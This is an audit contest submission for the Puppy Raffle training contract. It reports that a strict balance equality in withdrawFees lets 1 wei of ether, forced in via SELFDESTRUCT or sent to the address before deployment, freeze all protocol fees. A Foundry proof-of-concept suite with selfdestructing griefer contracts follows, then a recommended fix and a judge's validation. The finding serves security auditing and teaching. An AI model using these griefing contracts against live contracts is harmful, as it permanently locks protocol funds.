Puppy Raffle

AI First Flight #1

Beginner FriendlyFoundrySolidityNFT

EXP

View results

Previous Next

Submission Details

Severity: medium

Valid

Strict equality `address(this).balance == totalFees` in withdrawFees lets 1 wei of forced ETH permanently freeze all accrued and future protocol fees

friedsocks233

Root + Impact

Description

After a draw, withdrawFees should send the accumulated totalFees to feeAddress. The balance check is meant to confirm that no raffle is in progress, so that player deposits are not mixed up with fees.
withdrawFees uses the contract's raw ETH balance as a stand-in for "no active players" and requires it to equal totalFees exactly (L158). ETH can reach the contract outside the raffle accounting even though it has no receive/fallback: through SELFDESTRUCT (which still moves the balance under EIP-6780) or a transfer to the address before deployment. One extra wei therefore makes the check false at every later point. Each normal draw adds the same amount to both sides, so the gap never closes and every withdrawFees call reverts.

// src/PuppyRaffle.sol L156-L163

/// @notice this function will withdraw the fees to the feeAddress

function withdrawFees() external {

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); // @>

uint256 feesToWithdraw = totalFees;

totalFees = 0;

(bool success,) = feeAddress.call{value: feesToWithdraw}("");

require(success, "PuppyRaffle: Failed to withdraw fees");

}

// src/PuppyRaffle.sol L131-L134 (context: a clean draw raises balance and totalFees by the same amount, so any surplus wei is never absorbed)

uint256 totalAmountCollected = players.length * entranceFee;

uint256 prizePool = (totalAmountCollected * 80) / 100;

uint256 fee = (totalAmountCollected * 20) / 100;

totalFees = totalFees + uint64(fee);

Risk

Likelihood:

Any unprivileged account can trigger it at any time for 1 wei plus gas. It can force the wei in with SELFDESTRUCT (from a constructor or from a deployed contract), or by sending it to the contract's predicted address before deployment.
The griefer gains nothing. Only an actor willing to spend money purely to harm the protocol has a reason to do it, which keeps the likelihood Low.
The same lock also arises without an attacker, but only for unusual entrance fees where players.length * entranceFee is not a multiple of 5 wei: L132 and L133 round down separately and leave dust. The deploy value of 1e18 never produces dust.

Impact:

All fees accrued so far, and the fees from every later round, become permanently unwithdrawable. In the PoC, six rounds accrue 4.8 ETH of totalFees against a balance of 4.8 ETH + 1 wei, every withdrawFees call reverts, and neither the original nor a replacement fee address receives anything.
There is no recovery path. The contract has no receive/fallback and no sweep function, and the owner's only lever, changeFeeAddress, does not touch the balance check. The PoC shows withdrawal still reverts after the owner changes the fee address.
The loss is the protocol's entire fee revenue. Entering, drawing and refunds keep working, so player deposits and prizes are not affected.

Proof of Concept

The PoC runs four players through a normal draw, then forces 1 wei into PuppyRaffle with a SELFDESTRUCT from a contract constructor. It asserts that withdrawFees then reverts with "There are currently players active!" and that changing the fee address does not help. Over five further clean rounds it asserts that the gap stays exactly 1 wei and that all 4.8 ETH of fees stay frozen. Further tests confirm the same lock through SELFDESTRUCT from a deployed contract, through 1 wei pre-funded to the predicted address, and through rounding dust with an entrance fee of 1e18+1. They also show that a fee of 1e18 produces no dust, and that a live entry only delays withdrawal until the entrant refunds. Run it with forge test --match-path test/PoC_PR-06.t.sol -vv; the verified run used forge 1.7.1, solc 0.7.6 and EVM version osaka, so EIP-6780 rules applied.

File test/PoC_PR-06.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_PR-06.t.sol -vv.

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";

import {PuppyRaffle} from "../src/PuppyRaffle.sol";

/// Forces ETH into a target with SELFDESTRUCT from its constructor.

/// The target has no receive/fallback, so a plain transfer would revert.

contract ForceSend {

constructor(address payable target) payable {

selfdestruct(target);

}

/// Same idea, but SELFDESTRUCT is called from a later external call on a deployed contract.

/// Under EIP-6780 (this suite runs evm_version = osaka) SELFDESTRUCT always moves the balance;

/// only account deletion is restricted to the creating transaction.

contract ForceSendLater {

constructor() payable {}

function boom(address payable target) external {

selfdestruct(target);

}

/// PR-06: withdrawFees (L157-163) requires address(this).balance == totalFees exactly (L158).

/// Any wei that enters outside the accounting makes the equality permanently false,

/// freezing all accrued and future fees. There is no receive/fallback and no sweep.

contract PoC_PR06 is Test {

PuppyRaffle raffle;

uint256 constant FEE = 1e18; // entranceFee used by the repo's own deploy script/tests

uint256 constant DURATION = 1 days;

address feeAddress = address(0xFEE);

address owner = address(0xA11CE);

address payer = address(0xBEEF);

address griefer = address(0xBAD);

function setUp() public {

vm.prank(owner);

raffle = new PuppyRaffle(FEE, feeAddress, DURATION);

}

// ---------- helpers ----------

function _players(uint256 n, uint256 offset) internal pure returns (address[] memory ps) {

ps = new address[](n);

for (uint256 i = 0; i < n; i++) {

ps[i] = address(uint160(0x10000 + offset + i)); // plain EOAs

}

function _round(PuppyRaffle r, uint256 fee, uint256 n, uint256 offset) internal {

address[] memory ps = _players(n, offset);

vm.deal(payer, n * fee);

vm.prank(payer);

r.enterRaffle{value: n * fee}(ps);

vm.warp(block.timestamp + DURATION + 1);

r.selectWinner();

}

// ---------- baseline: intended behaviour ----------

function test_baseline_withdrawWorksAfterCleanDraw() public {

_round(raffle, FEE, 4, 0); // 4 ETH collected -> 0.8 ETH fee

assertEq(uint256(raffle.totalFees()), 0.8 ether, "fee recorded");

assertEq(address(raffle).balance, 0.8 ether, "balance == totalFees after clean draw");

raffle.withdrawFees();

assertEq(feeAddress.balance, 0.8 ether, "feeAddress paid");

assertEq(address(raffle).balance, 0, "contract emptied");

}

// ---------- limb 1: 1 wei of forced ETH freezes all fees permanently ----------

function test_forcedOneWei_locksAllFeesForever() public {

_round(raffle, FEE, 4, 0);

assertEq(address(raffle).balance, uint256(raffle.totalFees()), "quiescent: balance == totalFees");

// A plain transfer cannot top the contract up: no receive/fallback.

vm.deal(griefer, 1 ether);

vm.prank(griefer);

(bool ok,) = address(raffle).call{value: 1}("");

assertTrue(!ok, "plain ETH transfer is rejected");

// But SELFDESTRUCT forces 1 wei in.

vm.prank(griefer);

new ForceSend{value: 1}(payable(address(raffle)));

assertEq(address(raffle).balance, uint256(raffle.totalFees()) + 1, "balance = totalFees + 1 wei");

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

// Owner's only lever (changeFeeAddress) does not help.

vm.prank(owner);

raffle.changeFeeAddress(address(0xFEE2));

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

// Future rounds add equal amounts to balance and totalFees, so the 1 wei gap is permanent

// and every later fee is frozen too.

for (uint256 k = 1; k <= 5; k++) {

_round(raffle, FEE, 4, k * 100);

assertEq(address(raffle).balance - uint256(raffle.totalFees()), 1, "gap stays exactly 1 wei");

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

}

console.log("totalFees frozen (wei):", uint256(raffle.totalFees()));

console.log("contract balance (wei):", address(raffle).balance);

assertEq(uint256(raffle.totalFees()), 6 * 0.8 ether, "6 rounds of fees (4.8 ETH) accrued");

assertEq(feeAddress.balance, 0, "feeAddress never paid");

assertEq(address(0xFEE2).balance, 0, "new feeAddress never paid");

}

function test_forcedOneWei_viaSelfdestructOfDeployedContract() public {

_round(raffle, FEE, 4, 0);

vm.deal(griefer, 1);

vm.prank(griefer);

ForceSendLater f = new ForceSendLater{value: 1}();

f.boom(payable(address(raffle)));

assertEq(address(raffle).balance, uint256(raffle.totalFees()) + 1, "1 wei forced in");

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

}

// Variant: ETH sent to the raffle's address before it is deployed.

function test_prefundedAddress_locksFeesFromDayOne() public {

address predicted = vm.computeCreateAddress(owner, vm.getNonce(owner));

vm.deal(predicted, 1); // e.g. a plain transfer to the counterfactual address

vm.prank(owner);

PuppyRaffle r = new PuppyRaffle(FEE, feeAddress, DURATION);

assertEq(address(r), predicted, "prediction correct");

assertEq(address(r).balance, 1, "pre-funded 1 wei");

_round(r, FEE, 4, 0);

assertEq(address(r).balance, uint256(r.totalFees()) + 1);

vm.expectRevert("PuppyRaffle: There are currently players active!");

r.withdrawFees();

}

// ---------- limb 2: rounding dust (only for unusual entranceFee values) ----------

function test_roundingDust_locksFees_unusualEntranceFee() public {

uint256 oddFee = 1e18 + 1; // 4 * oddFee is not a multiple of 5 wei

vm.prank(owner);

PuppyRaffle r = new PuppyRaffle(oddFee, feeAddress, DURATION);

_round(r, oddFee, 4, 0);

uint256 collected = 4 * oddFee;

uint256 prize = (collected * 80) / 100;

uint256 fee = (collected * 20) / 100;

console.log("dust per round (wei):", collected - prize - fee);

assertEq(collected - prize - fee, 1, "1 wei rounding dust");

assertEq(address(r).balance, uint256(r.totalFees()) + 1, "dust breaks equality");

vm.expectRevert("PuppyRaffle: There are currently players active!");

r.withdrawFees();

// Dust only accumulates.

_round(r, oddFee, 4, 100);

assertEq(address(r).balance - uint256(r.totalFees()), 2, "dust grows to 2 wei");

vm.expectRevert("PuppyRaffle: There are currently players active!");

r.withdrawFees();

}

// Normal fees (multiple of 5 wei collected) produce no dust: the limb is narrow.

function test_roundingDust_absentForNormalFee() public {

_round(raffle, FEE, 5, 0);

assertEq(address(raffle).balance, uint256(raffle.totalFees()), "no dust with 1e18 fee");

raffle.withdrawFees();

}

// ---------- limb 3: live entry blocks withdrawal (delay only) ----------

function test_liveEntry_blocksWithdrawal_butOnlyTemporarily() public {

_round(raffle, FEE, 4, 0);

// Someone enters before the withdrawFees call lands.

address[] memory one = new address[](1);

one[0] = griefer;

vm.deal(griefer, FEE);

vm.prank(griefer);

raffle.enterRaffle{value: FEE}(one);

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

// The griefer refunds: balance returns to totalFees and withdrawal works again.

vm.prank(griefer);

raffle.refund(0);

assertEq(address(raffle).balance, uint256(raffle.totalFees()));

raffle.withdrawFees();

assertEq(feeAddress.balance, 0.8 ether, "fees paid after the entry is gone");

}

Recommended Mitigation

/// @notice this function will withdraw the fees to the feeAddress

function withdrawFees() external {

- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

+ // totalFees is tracked separately from player deposits; only require that the contract can cover it.

+ // Forced ETH or rounding dust then remains as harmless surplus instead of blocking withdrawal.

+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: Insufficient balance for fees");

uint256 feesToWithdraw = totalFees;

totalFees = 0;

(bool success,) = feeAddress.call{value: feesToWithdraw}("");

require(success, "PuppyRaffle: Failed to withdraw fees");

}

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago

Submission Judgement Published

Validated

Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Rewards breakdown

This contest has a flat reward structure with the following payouts:

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being reviewed by our AI judge. Results will be available in a few minutes.

View all submissions

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!